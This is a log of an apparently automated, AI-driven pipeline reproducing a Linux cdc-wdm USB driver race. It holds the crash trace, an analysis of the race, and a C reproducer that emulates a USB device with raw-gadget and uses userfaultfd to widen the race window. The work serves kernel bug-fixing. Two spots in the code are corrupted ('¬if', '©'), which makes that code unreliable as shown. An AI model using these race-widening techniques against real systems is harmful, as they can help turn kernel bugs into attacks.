readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2656137763", 4096) = 23
getrandom("\x07\x60\x94\x8d\x51\x4e\x75\x97", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555591a24d80
brk(0x555591a45d80) = 0x555591a45d80
brk(0x555591a46000) = 0x555591a46000
mprotect(0x7f311c593000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[ 65.613429][ T33] audit: type=1400 audit(1789164402.186:209): avc: denied { read write } for pid=5861 comm="syz-executor265" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR) = 3
[ 65.618302][ T33] audit: type=1400 audit(1789164402.196:210): avc: denied { open } for pid=5861 comm="syz-executor265" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
close(3) = 0
userfaultfd(O_NONBLOCK|O_CLOEXEC) = 3
close(3) = 0
write(1, "[*] Probing for /dev/raw-gadget...\n[+] /dev/raw-gadget opened successfully.\n[*] Probing for userfaul"..., 168) = 168
[*] Probing for /dev/raw-gadget...
[+] /dev/raw-gadget opened successfully.
[*] Probing for userfaultfd...
[+] userfaultfd created successfully.
[+] All probes passed.
exit_group(0) = ?
+++ exited with 0 +++
[ 66.469531][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.472397][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
[ 67.091715][ T33] kauditd_printk_skb: 11 callbacks suppressed
[ 67.093979][ T33] audit: type=1400 audit(1789164403.666:222): avc: denied { write } for pid=5892 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.127106][ T33] audit: type=1400 audit(1789164403.696:223): avc: denied { write } for pid=5895 comm="rm" name="hook-state" dev="tmpfs" ino=1803 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Crash Report:
|
| 49/4 |
2026/09/11 22:07 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 7162
output: 97
thoughts: 179
Thoughts: **Analysis of Capability Probe Results and Next Steps**
Alright, so my primary objective here is to dissect the output from this capability probe program I just ran. I need to understand what it's telling me about the system's readiness for further testing. The key piece of information that immediately jumps out is the "WARNING in service_outstanding_interrupt/usb_submit_urb". This is a critical detail that needs to be accounted for in my assessment.
The probe program itself executed and, importantly, exited cleanly with a status code of 0. That's a good sign – it didn't crash or fail catastrophically. Looking at the console output, I see specific probes for `/dev/raw-gadget` and `userfaultfd`. Both of these appear to have succeeded, as indicated by the "[+]" messages confirming they were opened or created successfully, and the final "[+] All probes passed." This strongly suggests that the fundamental environmental prerequisites for running the full reproducer have been met.
Given this, I'm confident in setting the `ProbePassed` flag to `true`. This directly reflects the successful outcome of the probe sequence. Conversely, `TitleMatches` should be set to `false`. The reason for this is straightforward: there's no crash report to match against. This is purely a probe execution, not a test that resulted in a failure signature.
My `TerminalError` field should remain empty. Since the probe itself completed without any terminal-level errors, there's nothing to report here.
Finally, for `Feedback`, I need to clearly communicate the status. It's essential to state that the probe passed and, consequently, the agent should proceed to the next logical step: generating the full reproducer. This provides a clear directive for the system based on the information I've gathered.
|
| 50/4 |
2026/09/11 22:07 |
tool |
set-results |
0m
Args: map[Feedback:The capability probe passed successfully. Both /dev/raw-gadget and userfaultfd are available in the environment. Please proceed to generate the full reproducer for the bug 'WARNING in service_outstanding_interrupt/usb_submit_urb' using syz-usbgen or standard raw-gadget interactions as appropriate. ProbePassed:true TerminalError: TitleMatches:false]
Results: map[Feedback:The capability probe passed successfully. Both /dev/raw-gadget and userfaultfd are available in the environment. Please proceed to generate the full reproducer for the bug 'WARNING in service_outstanding_interrupt/usb_submit_urb' using syz-usbgen or standard raw-gadget interactions as appropriate. ProbePassed:true TerminalError: TitleMatches:false]
|
| 51/3 |
2026/09/11 22:07 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The capability probe passed successfully. Both /dev/raw-gadget and userfaultfd are available in the environment. Please proceed to generate the full reproducer for the bug 'WARNING in service_outstanding_interrupt/usb_submit_urb' using syz-usbgen or standard raw-gadget interactions as appropriate. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 52/2 |
2026/09/11 22:07 |
iteration |
1 |
31m
|
| 53/3 |
2026/09/11 22:07 |
action |
If |
10m
Args: map[OracleFeedback:The capability probe passed successfully. Both /dev/raw-gadget and userfaultfd are available in the environment. Please proceed to generate the full reproducer for the bug 'WARNING in service_outstanding_interrupt/usb_submit_urb' using syz-usbgen or standard raw-gadget interactions as appropriate.]
|
| 54/4 |
2026/09/11 22:07 |
agent |
strategy-refiner |
10m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.
=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.
=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Current Strategy: This is a classic race condition in the CDC WDM driver where two different execution contexts concurrently submit the same Control Read URB (`desc->response`), triggering the `URB submitted while active` warning.
### Root Cause Analysis
The `desc->response` URB is submitted in three places:
1. `wdm_int_callback()`: When a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification is received and `desc->resp_count` was 0.
2. `service_outstanding_interrupt()`: Called by `wdm_read()` when it finishes reading data, provided `desc->resp_count` is still > 0 (meaning more notifications are pending).
3. `wdm_rxwork()`: A workqueue scheduled if the interrupt endpoint stalls (`-EPIPE`) or if `usb_submit_urb` fails with `-ENOMEM`.
The race occurs between `wdm_rxwork()` and `service_outstanding_interrupt()`:
- When the interrupt endpoint stalls, `wdm_int_callback()` jumps to the `sw:` label, scheduling `wdm_rxwork()`.
- `wdm_rxwork()` checks and sets the `WDM_RESPONDING` bit. If it was 0, it drops the `iuspin` lock and calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
- Concurrently, if a userspace `read()` finishes consuming previously received data, it calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `desc->resp_count`. If it remains > 0, it also sets `WDM_RESPONDING`, drops the `iuspin` lock, and calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
If both threads drop the `iuspin` lock and call `usb_submit_urb()` at the same time, the URB is submitted twice, triggering the warning.
To achieve the necessary state (`desc->resp_count >= 2` and `WDM_RESPONDING == 0`), the device must send a second notification *before* responding to the first Control Read URB. The second notification increments `resp_count` to 2 but doesn't submit the URB (since it's already active). When the first URB completes, `wdm_in_callback()` clears `WDM_RESPONDING`, leaving the perfect state for the race.
### Reproduction Strategy
We can reliably reproduce this without fault injection by using a USB Raw Gadget and `userfaultfd` to control the timing.
1. **Setup USB Gadget**: Emulate a CDC WDM device with a Control endpoint (ep0) and an Interrupt IN endpoint (ep1).
2. **First Notification**: The gadget sends a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1. The host driver increments `desc->resp_count` to 1 and submits the Control Read URB to ep0.
3. **Second Notification**: *Before* responding to the Control Read URB, the gadget sends a second `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1. The host increments `desc->resp_count` to 2, but does not submit a new URB.
4. **Data Response**: The gadget now responds to the pending Control Read URB on ep0 with some data (e.g., 10 bytes). The host copies this data, clears `WDM_RESPONDING`, and wakes up any readers.
5. **Block `read()`**: A userspace program sets up a `userfaultfd` region and calls `read(/dev/cdc-wdmX, buf, 10)`. The `read()` syscall blocks inside `copy_to_user()` waiting for the page fault to be resolved.
6. **Trigger `wdm_rxwork`**: The gadget sends a STALL (HALT) on the ep1 Interrupt IN endpoint. The host receives `-EPIPE`, which schedules `wdm_rxwork()`.
7. **Win the Race**:
- `wdm_rxwork()` starts executing, sets `WDM_RESPONDING`, drops the lock, and prepares to submit the URB.
- The userspace program resolves the `userfaultfd` page fault.
- `read()` finishes `copy_to_user()`, sees the buffer is empty, and calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `resp_count` from 2 to 1, drops the lock, and also prepares to submit the URB.
8. Both contexts concurrently call `usb_submit_urb()` on `desc->response`, triggering the `URB submitted while active` WARNING.
Feedback: The capability probe passed successfully. Both /dev/raw-gadget and userfaultfd are available in the environment. Please proceed to generate the full reproducer for the bug 'WARNING in service_outstanding_interrupt/usb_submit_urb' using syz-usbgen or standard raw-gadget interactions as appropriate.
Reply: An elegant and 100% reliable way to trigger this race condition is to use `userfaultfd` to pause the execution of `wdm_read()` exactly when it is copying data to userspace, and then trigger the `wdm_rxwork` error path by stalling the Interrupt IN endpoint.
### Method Explanation
1. **Gadget Setup**: We emulate a CDC WDM device using `raw-gadget`. The device exposes a Control endpoint (EP0) and an Interrupt IN endpoint (EP1).
2. **Double Notification**: The gadget sends two `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notifications on EP1. The host driver increments `desc->resp_count` to 2. The host submits a Control Read URB for the first notification.
3. **Data Response**: The gadget responds to the Control Read URB on EP0 with 10 bytes of data. The host driver copies this data to its internal buffer, clears the `WDM_RESPONDING` flag, and wakes up any pending readers.
4. **Block `read()`**: A userspace thread calls `read(/dev/cdc-wdm0, buf, 10)` where `buf` is a memory region monitored by `userfaultfd`. The `read()` syscall starts copying the 10 bytes and blocks on the page fault.
5. **Trigger `wdm_rxwork`**: While `read()` is blocked, the gadget sends a STALL (HALT) on EP1. The host receives `-EPIPE` and schedules `wdm_rxwork()`.
6. **The Race**:
- `wdm_rxwork()` runs, sees `WDM_RESPONDING == 0`, sets it to 1, and submits the `desc->response` URB.
- We wait a fraction of a second to ensure the URB is submitted and active.
- We resolve the `userfaultfd` page fault.
- `read()` finishes `copy_to_user()` and calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `resp_count` to 1, sets `WDM_RESPONDING` to 1 (blindly overwriting it), and submits the `desc->response` URB again.
- The USB core detects that the URB is already active and emits the `URB submitted while active` WARNING.
### C Reproducer
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
|
| 55/5 |
2026/09/11 22:07 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 5619
output: 42
thoughts: 433
Thoughts: **My Thought Process for Reproducing the `cdc-wdm.c` Race Condition**
My primary objective here is to craft a C reproducer for a specific bug, identified by the warning "WARNING in service_outstanding_interrupt/usb_submit_urb." From my initial investigation, I understand this is a race condition lurking within `drivers/usb/class/cdc-wdm.c`, specifically between the `wdm_rxwork()` and `service_outstanding_interrupt()` functions.
To tackle this, I've outlined a strategic approach that involves emulating a CDC WDM device and orchestrating a precise sequence of events on both the gadget (device) and host sides.
Here's how I intend to proceed:
1. **Device Emulation:** I'll start by setting up a simulated CDC WDM device. This will involve implementing control endpoint (ep0) functionality and an interrupt IN endpoint (ep1).
2. **Initial Notification and Control Read:** My plan is to have the gadget send a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification over ep1. Upon receiving this, the host driver should increment a `desc->resp_count` counter, bringing it to 1. Immediately following this, the host will initiate a Control Read URB.
3. **Second Notification:** I'll then trigger a second `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification from the gadget on ep1. This should increment `desc->resp_count` to 2.
4. **Control Read Response and State Change:** The gadget will then respond to the pending Control Read URB on ep0, providing some data. Crucially, this response should cause the host driver to clear a `WDM_RESPONDING` flag and, as a consequence, wake up any processes that might be waiting for data.
5. **Userspace `read()` and `userfaultfd`:** At this point, I'll introduce a userspace program. This program will set up a `userfaultfd` region and then attempt to read data from the `/dev/cdc-wdm0` device. The `read()` syscall will block within `copy_to_user()`, waiting for a page fault to be resolved.
6. **Endpoint STALL and Workqueue Scheduling:** This is where the race condition begins to manifest. I'll have the gadget send a STALL (or HALT) condition on ep1. The host driver will receive an `-EPIPE` error code as a result. This error condition is designed to schedule the `wdm_rxwork()` function for later execution.
7. **Page Fault Resolution and `service_outstanding_interrupt()`:** Concurrently, the `userfaultfd` mechanism will come into play. The page fault that was blocking the `read()` syscall will be resolved. This resolution will cause the `read()` operation to proceed, completing `copy_to_user()` and subsequently calling `service_outstanding_interrupt()`.
8. **The Race:** The critical moment arrives here. With both `wdm_rxwork()` (scheduled in step 6) and `service_outstanding_interrupt()` (called in step 7) now potentially executing, both will attempt to call `usb_submit_urb()` on the `desc->response` URB. This concurrent submission of the same URB from different execution contexts is precisely what I'm aiming to trigger and reproduce.
Now, I need to pause and re-examine a specific detail in my outlined strategy:
"The gadget sends a STALL (HALT) on the ep1 Interrupt IN endpoint. The host receives `-EPIPE`, which schedules `wdm_rxwork()`."
I need to double-check the behavior within the `wdm_int_callback()` function in `drivers/usb/class/cdc-wdm.c` to ensure that this exact sequence of events correctly leads to the scheduling of `wdm_rxwork()`. Understanding the internal logic of that callback is paramount to confirming my strategy's validity.
|
| 56/5 |
2026/09/11 22:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_int_callback]
Results: map[SourceCode: 251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
267: case -ECONNRESET:
268: return; /* unplug */
269: case -EPIPE:
270: set_bit(WDM_INT_STALL, &desc->flags);
271: dev_err(&desc->intf->dev, "Stall on int endpoint\n");
272: goto sw; /* halt is cleared in work */
273: default:
274: dev_err_ratelimited(&desc->intf->dev,
275: "nonzero urb status received: %d\n", status);
276: break;
277: }
278: }
279:
280: if (urb->actual_length < sizeof(struct usb_cdc_notification)) {
281: dev_err_ratelimited(&desc->intf->dev, "wdm_int_callback - %d bytes\n",
282: urb->actual_length);
283: goto exit;
284: }
285:
286: switch (dr->bNotificationType) {
287: case USB_CDC_NOTIFY_RESPONSE_AVAILABLE:
288: dev_dbg(&desc->intf->dev,
289: "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d\n",
290: le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength));
291: break;
292:
293: case USB_CDC_NOTIFY_NETWORK_CONNECTION:
294:
295: dev_dbg(&desc->intf->dev,
296: "NOTIFY_NETWORK_CONNECTION %s network\n",
297: dr->wValue ? "connected to" : "disconnected from");
298: goto exit;
299: case USB_CDC_NOTIFY_SPEED_CHANGE:
300: dev_dbg(&desc->intf->dev, "SPEED_CHANGE received (len %u)\n",
301: urb->actual_length);
302: goto exit;
303: default:
304: clear_bit(WDM_POLL_RUNNING, &desc->flags);
305: dev_err(&desc->intf->dev,
306: "unknown notification %d received: index %d len %d\n",
307: dr->bNotificationType,
308: le16_to_cpu(dr->wIndex),
309: le16_to_cpu(dr->wLength));
310: goto exit;
311: }
312:
313: spin_lock_irqsave(&desc->iuspin, flags);
314: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
315: if (!desc->resp_count++ && !responding
316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
321: spin_unlock_irqrestore(&desc->iuspin, flags);
322: if (rv < 0) {
323: clear_bit(WDM_RESPONDING, &desc->flags);
324: if (rv == -EPERM)
325: return;
326: if (rv == -ENOMEM) {
327: sw:
328: rv = schedule_work(&desc->rxwork);
329: if (rv)
330: dev_err(&desc->intf->dev,
331: "Cannot schedule work\n");
332: }
333: }
334: exit:
335: rv = usb_submit_urb(urb, GFP_ATOMIC);
336: if (rv)
337: dev_err(&desc->intf->dev,
338: "%s - usb_submit_urb failed with result %d\n",
339: __func__, rv);
340:
341: }
